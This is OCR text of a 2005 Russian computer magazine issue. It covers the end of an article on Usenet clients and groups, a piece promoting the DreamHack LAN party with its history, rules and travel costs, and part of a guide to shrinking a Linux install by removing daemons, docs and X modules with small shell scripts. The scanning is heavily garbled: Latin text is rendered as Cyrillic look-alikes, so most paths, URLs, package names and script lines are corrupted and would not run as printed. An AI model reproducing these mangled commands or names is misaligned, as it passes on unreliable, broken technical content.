нет", "\Л/іпсІо\л/з 95 и станция мир" и так далее. Было и переделанное 
на программерский лад творчество современных исполнителей, 
особенно вставили песни Кати Лель и Глюкозы, посвященные сис- 
темным администраторам. Вообще, такого количества писателей и 
поэтов, как в ІІзеЫеГ, вы не найдете больше нигде (в ІіѵеіоигпаІ графо- 
манов больше раз в пятьсот. — Прим. тіпсІ\/\/0гк). Самыми известными 
среди них были Миша Флигенко и Михаил Вербицкий. Флигенко со- 
чинял веселые стишки, называл всех друзьями и был очень популярен 
в русском ІІзеІЧеГ. Вербицкий же писал на самые разные темы, осо- 
бенно много внимания уделял межнациональным и межконфессио- 
нальным проблемам и рассуждал о международной политике. 




[подключаемся] Если тебя все-таки заинтересовал ЕІзепеТ и ты хо- 
тел бы познакомиться с ним поближе, тебе понадобится специ- 
альный софт. Хороший клиент под ѴѴіпсІо\л/з — компактный и быст- 
рый І\Іе\л/зХргез5 ( Шр://пѳѵѵз.гиппѳТ.ги/сІоѵѵпІоасІ5/пх201.2Ір ). Прод- 
винутая система настроек, поддержка русского языка, не сло- 
жен в освоении — что еще нужно для счастья? Для ЕІІМІХ ответ од- 
нозначный — Рап, доступный по адресу рап.геЬѳІРазв.сот. Ог- 
ромное количество функций, удобный и понятный интерфейс. Рап 
отличается прекрасной скоростью работы и морем различных 
фильтров. На крайний случай сойдет и аутглюк ака ОиГІоок 
Ехргезз. И не надо воротить нос — может, как почтовик этот мейлер 
уступает аналогам, но для общения в ІІзеМеТ подходит отлично. 
А исчерпывающий Гіеір поможет не заблудиться в настройках. 
После установки софта определись, какой сервер для чтения те- 
леконференций ты будешь юзать. К примеру, тебе захотелось ра- 
зобраться с настройками файрвола ІрТаЫез. В этом случае в нас- 
тойках своей программы введи в качестве сервера новостей 
сотр.зесигііу. После чего можешь скачивать все статьи, находя- 
щиеся в группе ШеѵѵаІІз, или создать собственное сообщение. 
При постинге введи группу, в которой ты публикуешь статью (у нас 
— Гіге\л/аІІз), тему («Помогите с ІрТаЫез!!!»), ну и сам текст сообще- 
ния. Можешь не сомневаться — откликов будет предостаточно, активность 
1)5еІ4еТ выше, чем на любом форуме. Если хочешь получить дополнительную 
информацию о группе новостей, отправь на сервер сообщение с пустым по- 
лем «Тема» и словом в теле «Гіеір». В ответ придут правила использования сер- 
вера и помощь. Если Гіеір изменить на ІізТ, то ты ознакомишься со списком 
всех конференций, на которые можно подписаться. Сообщения отправляй 
только в кодировке КОГ8, это стандарт для статей на русском в ЕІзеІМеТ. 

[заключение] ЕІзеІМеТ — это место, проникнутое идеологией хакерства. К со- 
жалению, из-за того, что сеть почти не пополняется новыми участниками, в 
последнее время замечен значительный спад активности. Тем не менее юзе- 
нет-сообщество — явление достаточно интересное и яркое. Поэтому я приг- 
лашаю тебя присоединиться. Я так поступил и ничуть не жалею © 
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ОгеатНаск — 
крупнейшая І_АІЧ- 
пати в мире 

«ПРИГЛАШАЕМ ВСЕХ НА ЭВЕАМНАСК ЭТИМ 
ЛЕТОМ! «ХАКЕР» СОБИРАЕТ РУССКУЮ КО- 
МАНДУ, С КОТОРОЙ БУДЕТ ТУСОВАТЬСЯ НА 
САМОЙ ЗАЧЕТНОЙ ПАТИ В МИРЕ С 15 ПО 20 
ИЮНЯ! ЕДЕМ СО СВОИМИ КОМПАМИ, НОУТ- 
БУКАМИ, ТАЩИМ СВЕТ, ЗВУК, МИГАЛКИ, 
ФЛЮОРЕСЦЕНТНЫЕ ЛАМПЫ. ЗАЖИГАЕМ!» — 
ТАКОЙ ПОСТ ВИСИТ НА ФОРУМЕ ХАКЕР.ВЦ 
УЖЕ НЕ ПЕРВУЮ НЕДЕЛЮ. И ЕСЛИ У ТЕБЯ 
ЕСТЬ ЖЕЛАНИЕ, ТЫ ВПОЛНЕ МОЖЕШЬ ПРИ- 
СОЕДИНИТЬСЯ. КАК, ТЫ НЕ ЗНАЕШЬ, ЧТО 
ТАКОЕ ОВЕАМНАСК? НОУ ПРОБЛЕМ, СЕЙЧАС 
УЗНАЕШЬ I тіпсі\л/0гк (тіпсі\л/Огк@датеІапсІ.ги) 



Четыре дня 

в компьютерных джунглях 

[первый ДримХак] Начну с того, что Ьге- 
атНаск занесен в Книгу рекордов Г иннес- 
са как самая большая ІУХМ-пати в мире. В 2004 
году на нем побывало 5272 человека, а количе- 
ство компов в сети насчитывало почти 6 тысяч. 
Первый ДримХак состоялся 30 октября 1997 
года в городе Борлэнж, Швеция. Для органи- 
заторов это был не первый фестиваль. До это- 
го они провели как минимум три других, но ни 
одно из тех мероприятий не стало по-настоя- 
щему известным. С ДримХаком все должно 
было быть по-другому. Организаторы собира- 
лись сделать новый съезд сценеров крупней- 
шим событием шведской демосцены и прило- 
жили все усилия, чтобы оно не осталось в тени. 



Специально для этого арендовали самый большой в стране кры- 
тый стадион Кироіеп и пригласили к сотрудничеству парней из 
группы Сгизасіегз, уже имевших опыт проведения значительных па- 
ти, включая ТТіе ѲаІГіегіпд. И конечно, ДримХак был шумно разре- 
кламирован в Сети. Организаторы обещали невиданный размах 
— как минимум, 2000 посетителей, для которых были приготовле- 
ны компьютерные места. Но, как оказалось позже, немного пого- 
рячились — на ОгеатНаск-97 приехало не более 750 человек. 
Большую часть из них составляли шведские геймеры, сценеров 
было процентов 30, из которых половина — амижники. 

Цена входного билета составляла $40 на все четыре дня, для деву- 
шек вход был бесплатным. ДримХак изначально позиционировал- 
ся как демопати, фестиваль именно для сценеров. И основным 
действом были сценовые компо для платформ РС, Атіда и С64: де- 
мо, интро, четырехканальная музыка, многоканальная, пиксельная 
и рендерная графика, ѴѴІІсІ сотро и А5СІІ. Любопытным нововведе- 
нием стал никогда ранее не проводившийся конкурс на лучшую 
бесполезную утилиту. Победителем в ней стал музыкальный редак- 
тор для приставки [Чіпіепсіо. Несмотря на небольшое количество 
участников, в некоторых компо участвовали довольно известные 
сценеры, поэтому качество работ было на высоком уровне. Тот, 
кто не интересовался сценой, мог поиграть по сетке или накачать 
из инета свежего вареза. Также на протяжении всей пати в киноза- 
ле на 150-дюймовом проекторе круглосуточно крутили фильмы. 
Памятным событием для участников первого ДримХака было шоу 
известнейшего сценового музыканта Рг. А\л/езоте. Лазерные лу- 
чи, пронзающие темноту и рисующие буквы на потолке, световые 
эффекты повсюду, клубы дыма, вырывающиеся из-под танцпола, 
и сценеры, зажигающие под трековое техно, — такое не каждый 
день увидишь. Правда, перед началом шоу оказалось, что у орга- 
низаторов не хватает 15 метров кабеля для аппаратуры, и на по- 
мощь пришли посетители, которые на всякий случай прихватили 
этого добра. Посреди шоу звук внезапно умер, и весь Куполен 
погрузился во мрак — перегорели предохранители. Но уже че- 
рез несколько минут шоу продолжалось с новой силой. 

[дальнейшее развитие] Не достигнув ожидаемого количества по- 
сетителей на первой пати, организаторы ОгеатНаск решили 
совместить конкурсы для сценеров с геймерскими турнирами. 
Локальные чемпионаты по ЗІагСгаИ, ѴѴагСгаТІ II, Г$есІ АІегІ, Оиаке и 
Оиаке II должны были привлечь новую аудиторию, включая про- 
геймеров. Ведь призовые обещали солидные — более 10 тысяч 
долларов плюс компьютерные комлектующие. 

ОгеатНаск-98 посетило около 1800 человек, что более чем в два 
раза превышало количество участников прошлогодней пати. Было 
немало сценеров, тусивших отдельно от всех. Ситуацию омрачали 
недочеты в организации: постоянные задержки, неразбериха с би- 
летами и особенно баги в сценовых компо. Так как сами организа- 
торы сценерами не являлись, да и вообще о сцене имели смутное 



представление, проколы в конкурсах следовали пов- 
сюду, То работу не туда поставили, то запустили непра- 
вильно, то вообще потеряли интру, над которой кто-то 
корпел полгода. Под конец некоторым сценерам не вы- 
дали денежные призовые, которые изначально обеща- 
ли, и ребята, недолго думая, устроили публичный аук- 
цион по продаже доставшихся в качестве премии же- 
лезок. Чтобы не заскучать, люди находили себе развле- 
чения сами. Амижники отмечали победу своих работ 
зажигаловом на танцполе, а под конец вообще устрои- 
ли стриптиз на потеху публике. Отзывы о ЭгеатНаск-98 
у сценеров, несмотря ни на что, были положительными. 
Но уже тогда стало очевидным, что организаторы взяли 
курс не на сценовое событие, а на ЕАЫ-пати. 

В 1999 году количество посетителей достигло уже трех 
тысяч, и 95% из них приехали поиграть в квейк. После 
этой поездки многие стали писать, что как демопати 
ДримХак умер, всячески хаяли организаторов и обеща- 
ли, что никогда больше не вернутся. Отчеты, конечно, не 
прошли мимо организаторов. Нужно было срочно что-то 
предпринять, иначе пати грозила окончательно превра- 
титься в обычную геймерскую тусу. И в 2000 году впервые 
на ДримХаке появилось разделение. Большую часть за- 
ла отдали квакерам, а первые три ряда, которые были 
ближе всего к основному проектору, заняли сценеры. 
Это место так и называлось — Зсепегопе. 

На юбилейный ДримХак съехались сценеры из самых 
отдаленных уголков Европы. Несмотря на слишком ко- 
роткие дедлайны, количество присланных работ не по- 
зволило показать их все. Многие сценеры доделывали 
свои творения прямо на пати, программируя без сна и 
отдыха, останавливаясь, только когда случались про- 
блемы с электричеством. Большинство показанных ра- 
бот было вполне на уровне, хотя считалось, что лучшие 
работы поедут на более известную пати — Ассембли. 
Была даже одна демка для древнего компьютера Техаз 
ІпзТгитепТз, больше напоминающего калькулятор. 
Компромисс между геймерами и сценерами был най- 
ден, и последующие ДримХаки становились все более 
популярными и масштабными. Начиная с 2002 года пати 
стала проводиться дважды — в середине июня и нача- 
ле декабря, а такие монстры, как Азиз и МісгозоТІ, высту- 
пившие спонсорами, позволили сделать ее еще лучше. 



[НЕКОТОРЫЕ ПРАВИЛА ДРИМХАКА] 

Ш Внутри Эльмиа запрещено распивать 
спиртное и курить. Нарушителям делают 
предупреждение, и если инцидент повторя- 
ется — удаляют с пати. 

Е Участники в возрасте до 18 лет допуска- 
ются, только имея специальное разрешение 
от родителей. 

Е Оргкомитет предупреждает, что исполь- 
зовать пиратское ПО нехорошо. И в общем- 
то, чревато :). 

Н Запрещено обсуждать информацию о пи- 
ратстве, хакинге и других подобных вещах 
на внутренних каналах пати. 

Е Не рекомендуется юзать беспроводные 
девайсы, так как существует вероятность, 
что твой сосед юзает их же. 

Е Нельзя сооружать собственное компью- 
терное место и расширять выделенное по 
билету. 

\Т\ Спать можно только в специально отведен- 
ном месте. Под столом и в проходе нельзя. 

Е Запрещено кататься по территории на 
роликах и скейтбордах :). 

Е Все свои кофеварки и электропечи оста- 
вляй дома. Они жрут слишом много энергии 
и запрещены к использованию на пати. 

0о] Чтобы продавать что-либо на ДримХак, 
нужно иметь разрешение от оргкомитета. 

Й Нарушение любых шведских законов гаранти- 
рует немедленное удаление из Эльмиа. 



[ОгеатНаск-2005] Думаю, ты уже понял, что ЭгеатНаск — это событие нема- 
ленькое и посетить его стоит. Поэтому давай поговорим о том, чем обещает 
стать пати в 2005 году. 

Пройдет она с 16 по 19 июня в городе Йонкопинг (Швеция). На этот раз ме- 
стом проведения будет не традиционный Куполен, а выставочный центр Эль- 
миа — один из крупнейших в Швеции и, наверное, самый современный. 
Билет на пати стоит чуть больше 50 евро. Сюда входит забронированное ме- 
сто 83x60 см, где ты сможешь поставить комп и подключиться к сетке. Билет 
нужно заказывать заранее, через анкету на сайте, так как в прошлый раз все 
билеты были раскуплены за день до начала. 

Как и во всех предыдущих ДримХаках, ты сможешь поучаствовать в любом из 
сценовых компо, будь то демо, музыка или графика. Или просто побыть зри- 
телем, отдав свой голос за понравившиеся работы. Возможно, будут нестан- 
дартные конкурсы, как в свое время «Бесполезные утилиты», но пока эту ин- 
фу организаторы держат в секрете. 

Пока сценеры обсуждают лучшие работы в своих компо, геймеры смогут по- 
соревноваться за чемпионский титул в Оиаке 3, Соипіег-Зітіке, ЗІагсгаП и 
ѴУагсгаП 3. Игровые турниры на ДримХаке теперь проводятся при участии 
серьезных киберспортивных организаций, и участвуют в них многие прогей- 
меры. В прошлом году именно в рамках ЭгеатНаск проводились ЧРСІ_ 
ОІ2АЫЭ СІІР 2004 и \Л/СѲ РР 2004 (отборочные чемпионаты мира по компью- 
терным играм), собравшие лучших европейских каэсеров и варкрафтеров. 
Так что, если ты в своей локалке отец по кваке, не думай, что тебе удастся 
легко завоевать призовые (общий призовой фонд — 8,5 тысяч долларов). Ко- 
нечно, будут и любительские турниры, причем организаторы пообещали вся- 
чески поддержать тех, кто захочет провести чампы по другим играм. 

На зимнем ДримХаке-2004 проводились и некомпьютерные компо. Такие, как би- 
тва гигантскими подушками и стрельба из духовых пистолетов по банкам из-под ко- 
лы. Организаторы обещают, что этим летом будут новые сюрпризы, так что если ты 
не сценер и даже не геймер, тебе все равно будет что посмотреть и в чем поуча- 
ствовать. Вплоть до конкурса караоке, который уже можно назвать традиционным. 
Все основные события: сценерские компо, геймерские турниры, сообщения от 
организаторов и награждение — будут транслироваться на огромном проеісто- 
ре. Наверняка не один час ты потратишь на блуждание между компьютерны- 
ми рядами в наблюдениях за людьми и особенно компьютерами. ДримХак — 
это настоящая моддерская мекка, ведь здесь можно увидеть несметное 
количество компьютеров разных форм, расцветок и модификаций. 

Если у тебя дома тормозной диалап, обязательно приготовь файл-лист на 
скачку, причем не каких-нибудь пять-десять файликов, а забей его под завяз- 
ку. Сетка на ДримХаке гигабитная, и 700-мегабайтные фильмы скачиваются 
за пару минут. Поэтому, чтобы не сидеть там и не думать: «А чего бы нака- 
чать?», позаботься об этом заранее. 

ДримХак будет занимать не весь комплекс — в Эльмиа есть и другие места, кото- 
рые ты наверняка захочешь посетить. Например известный шведский плаватель- 
ный бассейн Розенланд. Также у входа будут стоять игровые автоматы и приставки. 
Для тех, кто захочет немного поспать, организаторы приготовили специально 
отведенное место. Там немного прохладнее и тише, чем в общем зале. Нуж- 
но только захватить с собой спальник, если ты не хочешь спать на голом по- 
лу. А чтобы не дать людям умереть от голода, по периметру Эльмиа разме- 
щены киоски, где можно затариться фастфудом. Также внутри можно найти 
парочку пиццерий, Макдональдсов и небольших ресторанчиков. 

[цены] Как говорится, любишь кататься, люби и денежки платить. Поездка на Эге- 
атНаск станет в копеечку. Если лететь Аэрофлотом из столицы по маршруту Мос- 
ква — Стокгольм — Москва, билет будет стоить от 355 евро и выше (в зависимости от 
класса). Практически столько же будет стоить авиаперелет из питерского аэро- 
порта Пулково. Если ты боишься летать или считаешь, что самолеты для мажоров, 
садись на тачку — и вперед. От Москвы до Хельсинки 1100 километров, которые 
вполне можно преодолеть за 1 6 часов, а потом на пароме переправишься до Сток- 
гольма — 45 евро с человека за номер в каюте и 75 евро за тачку. В один конец. 
Теперь гостиницы. Цена на проживание в двухместном номере трехзвездоч- 
ной гостиницы, расположенной прямо возле места проведения ЭгеатНаск, 
составляет 410 евро с человека. Это если остаться на все пять дней, с 15 по 
20 июня. Номер в гостинице попроще можно забронировать за 300 евро (то 
есть 60 евро в сутки с человека). Хотя имхо, гостиницы — больше для буржуев. 
Сценеры и ][ сг е\л/ будут спать в зале отдыха, что позволит сэкономить деньги 
и не покидать пати. Так что если хочешь провести время на пати с комфортом, 
готовь минимум 600 евро, а если будешь добираться на машине, кушать ма- 
мины котлеты и спать в спальнике — сможешь уложиться в 300 баксов. 

В 2005 году издательский дом СатеІапсІ (именно он выпускает ][) будет офи- 
циальным медиапартнером ЭгеатНаск. В июльском номере мы опубликуем 
большой репортаж о том, как все прошло. Но одно дело — прочитать в жур- 
нале, другое — увидеть все своими глазами. Сейчас ][ сге\л/ набирает коман- 
ду желающих присоединиться к большой тусовке. Так что если ты хочешь 
принять участие в одном из крупнейших сценовых событий и самой масштаб- 
ной ЕАІМ-пати мира — дерзай. Пока есть вакантные места :) © 



[хакер 05 [77] 05 > СЦЕНА 093 ] 




ЮНИТЫ КРЕАТИФФ КОДИНГ ІШІХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20ЫЕ РЕВРШМ НЬЮСЫ 




Если у тебя не работает 
встроенный веб-сервер, 
попробуй обновить 
ѴѴІпбоіл/з Зсгірідо версии 
5.6 (шш.зтагІ- 
зоП.ги:80/(ІІез/зсгірІги.ехе). 
Скорее всего, проблема 
именно в нем. 




Для организации оплаты 
карточки необходимо уста- 
новить специальный пла- 
гин, доступный на сайте 
разработчиков. Там же 
доступны и другие допол- 
нения. 




Делаем пингвину 
обрезание 



РАЗВИТИЕ СИСТЕМ ХРАНЕНИЯ ДАННЫХ (ЧИ- 
ТАЙ ВИНТОВ) ПРИВЕЛО К ТОМУ, ЧТО ИНСТАЛ- 
ЛЯТОРЫ ПОДАВЛЯЮЩЕГО БОЛЬШИНСТВА 
иШХ-ДИСТРИБУТИВОВ ЗАБОТЛИВО УСТА- 
НАВЛИВАЮТ ЧУТЬ ЛИ НЕ ВСЕ ПАКЕТЫ, ПРИ- 
СУТСТВУЮЩИЕ НА ДИСТРИБУТИВНЫХ ДИС- 
КАХ. СЕГОДНЯ ДАЖЕ ОДНОДИСКОВЫЕ ДИСТ- 
РЫ ТРЕБУЮТ ДЛЯ УСТАНОВКИ ПОРЯДКА 1 ,8 
ГБ СВОБОДНОГО ПРОСТРАНСТВА. ЭТО НИКУ- 
ДА НЕ ГОДИТСЯ, ПРИТОМ ЧТО СТАНДАРТНУЮ 
ДЕСКТОПНУЮ СИСТЕМУ С ИКСАМИ И НЕОБ- 
ХОДИМЫМ НАБОРОМ СОФТА МОЖНО УМЕС- 
ТИТЬ В 500 МБ. В ЭТОЙ СТАТЬЕ Я НЕ БУДУ 
КОНЦЕНТРИРОВАТЬ ВНИМАНИЕ НА КАКОМ-ТО 
КОНКРЕТНОМ ДИСТРИБУТИВЕ, БОЛЬШАЯ 
ЧАСТЬ НИЖЕОПИСАННОГО ПРИМЕНИМА 
ПРАКТИЧЕСКИ К ЛЮБОМУ ПОПУЛЯРНОМУ 
ШЦХ'У. В ПЕРВУЮ ОЧЕРЕДЬ Я АДРЕСУЮ 
ЭТОТ МАТЕРИАЛ ТЕМ, КОМУ НУЖНА ЛЕГКАЯ, 
БЫСТРАЯ ОС ДЛЯ ИСПОЛЬЗОВАНИЯ В ДО- 
МАШНИХ УСЛОВИЯХ I ЛтфтвШи) 



Способы уменьшения размера системы 

[сначала по-хорошему] Как я уже сказал, инсталляторы могут, 
не считаясь с твоим мнением, установить огромное количество, 
мягко скажем, малополезного софта. Зачем на десктопе нужны, 
например, РРС-сервисы или программы для работы в домене 
N13? Поэтому в первую очередь необходимо избавиться от раз- 
личных серверов и локальных демонов. Сказать, что на домаш- 
ней тачке совсем не нужны серверы, будет неправильным, ведь 
можно установить локальный почтовый сервак для удобной отп- 
равки почты, а также здиісі для ускорения навигации по \л/еЬ. Из 
демонов обычно хватает стандартного набора: зузіодсі, стоп, 
аТсІ. Вот что я бы оставил на своей машине: 
зузіодсі — логи нужны всем! 
стоп — планировщик, незаменимая вещь. 




[процессы на стандартной машине] 



аИ — своеобразный будильник, можно 
обойтись без него. 

розіііх — почтовый сервак, многим не нужен, 
зяиісі — кэширующий ІгНр-прокси, многим 
также не нужен. 

патесі — для кэширования данных, полу- 
ченных от предыдущих 0145 -запросов, 
іпеісі (хіпеісі) — суперсервер, может при- 
годиться. 

Удаление демонов в большей степени 
способствует ускорению процесса заг- 
рузки системы, чем освобождению места. 
Таким образом, убиваем двух зайцев :). 
Далее в очереди стоят оконные менед- 
жеры и графические окружения. Са- 
мым правильным решением будет сра- 
зу избавиться от Споте и КОЕ, оставив в 
системе легковесный менеджер окон 
(ѴѴІпсІоѵѵМакег, ТІихЬох, Тѵ\л/т2). В слу- 
чае если ты поклонник графических 
сред, лучше обратить внимание на ХТсе 
или даже СІЧІІЗіер. 

Если ты никогда не занимался установкой 
софта из исходников и у тебя нет прист- 
растия к программированию, можешь 
смело выкидывать все сіеѵеі-пакеты, ком- 
пиляторы, а также исходники ядра (только 
регі с руТТюп'ом не трогай ;)). Еще реко- 
мендую снести утилиты для работы с раз- 
ными файловыми системами, так, напри- 
мер, если у тебя все разделы ехТЗ, можешь 
смело удалять пакеты геізегізргодз и 
хізргодз. Естественно, если нет сети, то чи- 
кай весь сетевой софт. 

[а теперь по-плохому] Ты удалил ненужные 
библиотеки и демоны, но пингвин продолжает 
страдать ожирением. Тогда идем на ради- 
кальные меры — спускаемся в каталог 
/изг/зііаге. Здесь по стандарту ЕН5 должны хра- 
ниться все независимые от архитектуры дан- 
ные, такие как документация, страницы тап, 
иконки и т.д. Пройдемся по стандартным эле- 
ментам каталога в алфавитном порядке: 

Ш сіос — каталог, в котором находится до- 
кументация к программам. Дока нужна, 
несомненно, но уж очень она любит отни- 
мать место на винте. Поэтому предлагаю 
такое решение: архивируем все содер- 
жимое каталога и очищаем его: 

# ссі /изг/зітагѳ 

# Таг -с]і с!ос.4аг.Ьг2 сіос 

# гт -г( сіос/* 



[вот как выглядят каталоги после уборки] 



Так мы сохраним всю документацию, кото- 
рую будет удобно просматривать с по- 
мощью тс. При этом сам каталог остается 
пустым, чтобы софт, устанавливаемый в бу- 
дущем, мог разместить в нем свои файлы. 
\ 2 \ И8п — содержит исходные данные оп- 
ределений локали. С помощью програм- 
мы Іосаісіеі их можно скомпилировать, по- 
местить в каталог /изг/зітаге/іосаіе и ис- 
пользовать при локализации. Практически 
все дистрибутивы устанавливают уже пре- 
компилированные определения локали, 
поэтому необходимость в этом каталоге 
отпадает, и его можно удалить. Более то- 
го, в большинстве дистров он лежит в от- 
дельном пакете с названием дІІЬс-И8п. 

[з] іпіо — сюда помещаются интерактив- 
ные справочные страницы іпіо. Система 
іпіо была введена как замена тап, но с 
выходом свободной реализации системы 
форматирования пгоіі, используемой для 
обработки тап-страниц, потеряла акту- 
альность. Сейчас она в основном исполь- 
зуется для получения более подробной 
информации, нежели та, что предоставля- 
ется страницами тап. Если ты не люби- 
тель докапываться до глубины вещей, то 
можешь удалить каталог, а заодно и прог- 
рамму іпіо. Хотя есть и более гуманный 
способ. Программа чтения страниц іпіо 
вполне переваривает их и в заархивиро- 
ванном виде. Чтобы тебе не нужно было 
возиться со сжатием всех страниц, я напи- 
сал небольшой скрипт: 

[# саі іп(о_сотргѳзз.зІт] 

#!/Ьіп/зЬ 

ей /изг/зііаге/іпіо 

іог іпіо іп *; сіо 

іі [ ! ’ѳсіто $іп(о I дгер -Е "(д2ІЬг2)$”' ]; 

(Ігеп 

Ьгір2 -с $іпТо > $іпіо.Ьг2 
іезі $? && гт -( $іпіо 
есіто $іпіо 
іі 

сіопе 

Щ Іосаіе — как уже было сказано выше, 
содержит определения локали для раз- 
личных регионов. Удаляй все, кроме ката- 
лога ги_І?Ш<ОДИРОВКА_ТВОЕЙ_СИСТЕМЫ 
(например ги_Г51І.КОІ8-І?). Для обеспече- 
ния корректной работы приложений сде- 
лай пару симлинков на этот каталог: 




# Іп -з ш_ПІ_І.КОІ8-П ги_ПІІ 

# Іп -з ш_ПІ_І.КОІ8-П ги 

Теперь создай файл Іосаіе. аііаз и вставь в 
него следующую запись: 

шззіап ш_ВІІ.К0І8-П 

И еще один момент: если ты предпочитаешь 
англоязычные версии программ, то можешь 
удалить все файлы из каталога ги_Ш.КОДИ- 
РОВКА_ТВОЕЙ_СИСТЕМЫ/І_С_МЕ53АѲЕ5. 

ІА тап — всеми любимые справочные 
страницы. Если тебе не нужна справка на 
французском, немецком или еще каком- 
нибудь языке, удаляй все, кроме катало- 
гов тап?, саі?, ги и файла \л/ПаІіз. Проде- 
лав эту операцию, ты избавишься от 
справки на различных языках. Как и іпіо, 
маны могут быть заархивированы: 

[# саі тап_сотрге53.зТі] 

#!/Ьіп/зТі 

ссі /изг/зітаге/тап 
іог по іп 1 2 3 4 5 6 7 8 9; сіо 
ссі тап$по 
іог тап іп *; сіо 

іі [ I 'есНо $тап I дгер -Е "(д2ІЬг2)$"' ]; 

ІИеп 

Ьгір2 -с $тап > $тап.Ьг2 
іезі $? && гт -і $тап 
есііо $тап 
Іі 

сіопе 
ссі .. 
сіопе 

[б] іегтіпіо — база совместимости терми- 
налов. Необходима для корректной рабо- 
ты полноэкранных консольных приложений 
(тс, ѵіт, тиТі). Сама база занимает не так 
уж много места, но содержит описания ог- 
ромного количества терминалов. Можно 
ограничиться следующими типами: І/Ііпих, 
г/гхѵі, з/зегееп, ѵ/ѵі100, ѵ/ѵИ02, х/хіегт. 

\т_ гопеіпіо — база временных зон. Как и 
іегтіпіо, весит немного, поэтому разби- 
раться с ней особого смысла нет. 

[ударим клавишей РЕБ по иксам] Иксы 
всегда славились своей громоздкостью. 
Вместе с самим Х-сервером в пакет обыч- 
но входит множество различных библио- 
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тек и драйверов, куча шрифтов, большая часть из которых никог- 
да не понадобится, а также несметное количество бинарников. 
Зачистку начнем со шрифтов. Для нормальной работы обычно 
хватает пакетов тізс и сугііііс. Если дистрибутив не позволяет ус- 
танавливать шрифты отдельно от самого сервера, можешь сте- 
реть их прямо из каталога /изг/Х1 1 Р6/ІІЬ/Х11Допіз. Эксперимен- 
тировать с каталогом тізс не советую, он содержит важные сис- 
темные шрифты. Можешь также удалить епсосііпдз, в большин- 
стве случаев это ни на что не повлияет. В идеале нужно вообще 
отказаться от использования штатных фонтов и позаимствовать 
качественные ТТЕ-шрифты из ѴѴІпсІо\л/з. 

Переходим к самой весомой части иксов — модулям. С появле- 
нием четвертой версии ХРгее стал полностью модульным, теперь 
все драйвера и расширения лежат в каталоге 
/изг/ХІ ІІЗб/ІІЬ/тосІііІез. Для нас такая архитектура очень удобна, 
можно легко избавиться от ненужных драйверов. Сами драйве- 
ра видеокарт располагаются в каталоге сігіѵегз. Достаточно най- 
ти файл, соответствующий чипсету твоей видяхи, и удалить все 
остальное. Теперь иди в каталог сігі, содержащий драйвера для 
ЗсІ-ускорителей, и подчищай все по вышеприведенной схеме. 
Дрова для устройств ввода ты найдешь в каталоге іприТ. В общем 
случае достаточно оставить только драйвер мышки 
(тоизе_с!гѵ.о). 

Теперь расширения. Они расположены в каталоге ехТепзіопз. 
Думаю, кроме ЗсІ-ускорения, тебе ничего не понадобится, по- 
этому оставь только ІІЬОІ_соге.а, ІІЬсІп.а и ІІЬдІх.а. Еще неплохо 
было бы покоцать модули, обеспечивающие поддержку раз- 
личных экзотических форматов шрифтов. Заходи в ТопТз, и если 
у тебя нет шрифтов Зреесіо и Туреі, тогда хватит только двух 
файлов: ІІЬЬІТтар.а (стандартные шрифты Х-\Л/іпсІо\л/) и 
ІІЬТгееТуре.а (ТТЕ-шрифты). Помимо драйверов и всякого рода 
расширений, ты наверняка должен был заметить каталог 
сосіесопѵ, в котором лежат модули, обеспечивающие корре- 
ктную поддержку и отображение символов в многобайтных ко- 
дировках (японский, китайский, корейский и юникод). Нужно 
тебе это или нет, решай сам. 

[кто не спрятался, гт Т] Поговорим о частных случаях. А именно 
о том, как очистить от хлама некоторые популярные програм- 
мные пакеты. 

В] КЕЮ. Начнем с пакета, используемого для интернационализа- 
ции консоли. Все шрифты и раскладки расположены в каталоге 
/изг/зРаге/кЬсІ, в который, надеюсь, ты уже переместился. Итак, 
элементы каталога: 

сопзоІеЕопІз (шрифты) — оставь только кириллические и юникод- 
ные шрифты (например все Суг* и І_а1АгСугНеЬ*). 
сопзоіеітапз (символьные карты) — удаляй все, кроме коі2аІ+, 
пиІІ, зрасе, ІтіѵіаІ и гего. 

кеутарз (клавиатурные раскладки) — достаточно двух: 
І386/д\л/ег1у/ги.тар.д2 и ги-иП.тар.дг 

ипітарз (карты юникода) — используются, если только шрифт 
сам не содержит такой карты. Таким образом, они нужны для 
всех не ІІТР-шрифтов, 

Ш Ядро. Казалось бы, с ядром все просто — поставил исходники 
и скомпилил четко под свою систему. Но есть две причины не де- 
лать этого: нет исходников, нет надобности. Дистрибутивные яд- 
ра обычно собираются с большим количеством модулей, кото- 
рые попадают в каталог /ІІЬ/тоРиІез/вѳрсия_ядра/кегпеІ. А 
дальше все в твоих руках, в качестве подсказки можешь исполь- 
зовать вывод команды ІзтосІ. 

[з] ОТ и ѲТК. Оба тулкита устанавливают очень много докумен- 
тации для разработчиков, и я сомневаюсь, что она тебе может 
понадобиться. Оказавшись в /изг/зРаге, ты увидишь два ката- 
лога: дТк-2.0 и дТк-бос, в первом лежат данные для демонстра- 
ционной программы дТк-сІето, а во втором собственно дока. 
Удаляй оба. Разработчики ОТ вообще засунули все свое доб- 
ро вместе с документацией в каталог /изг/ІІЬ/р/ Вот что можно 
отправить. В /сіеѵ/пиіі: сіос, ехатріез (примеры) и ТиТогіаІ (по- 
шаговое руководство). 

И АрасТіе. Что же тут можно удалить? Конечно, ненужные моду- 
ли, которые находятся в /изг/ІІЬехес. Я думаю, ты сам разберешь- 
ся, что из этого тебе необходимо, а что просто занимает место 
на винте. Скажу только, что для обычного статического сайта 
достаточно тосСаиЕГ), тосІ_сііг, тос1_1од_соп11д и тосЦтіте. 
Также можешь избавиться от документации (/ѵаг/\ллллл//Гі1'сІосз). 
[Ц Ѵіт. Этот редактор за много лет существования оброс боль- 
шим количеством функций и дополнений. Вполне естественно 



предположить, что многие из этих дополнений рядовому пользо- 
вателю держать незачем. В первую очередь рекомендую поду- 
мать, нужна ли тебе графическая версия редактора (дѵіт), и в 
случае отрицательного ответа снести ее (обычно идет отдель- 
ным пакетом). Теперь модули. Место их дислокации — каталог 
/изг/зІіагв/ѵіт/ѵітбЗ, последний элемент пути зависит от версии 
ѵіт'а. Сейчас попробуем разыскать что-нибудь ненужное: 
соіогз — цветовые схемы. Выбери любимую, избавься от остальных, 
сотрііег — содержит обертки для вызова различных компилято- 
ров. Оставь те, которыми пользуешься. 

кеугггар — раскладки клавиатуры, работают на уровне редакто- 
ра. Сомневаюсь, что тебе это понадобится. 

Іапд — переводы меню дѵіт на различные языки. Тут уж сам раз- 
берешься ;). 

ппасгоз — различные полезные и бесполезные макросы, здесь 
ничего советовать не буду, обратись к РЕАЭМЕ.М. 
ргіпі — содержит файлы, используемые как шаблон при печати в 
различных кодировках. 

Многие исполняемые файлы и библиотеки в твоей системе могут 
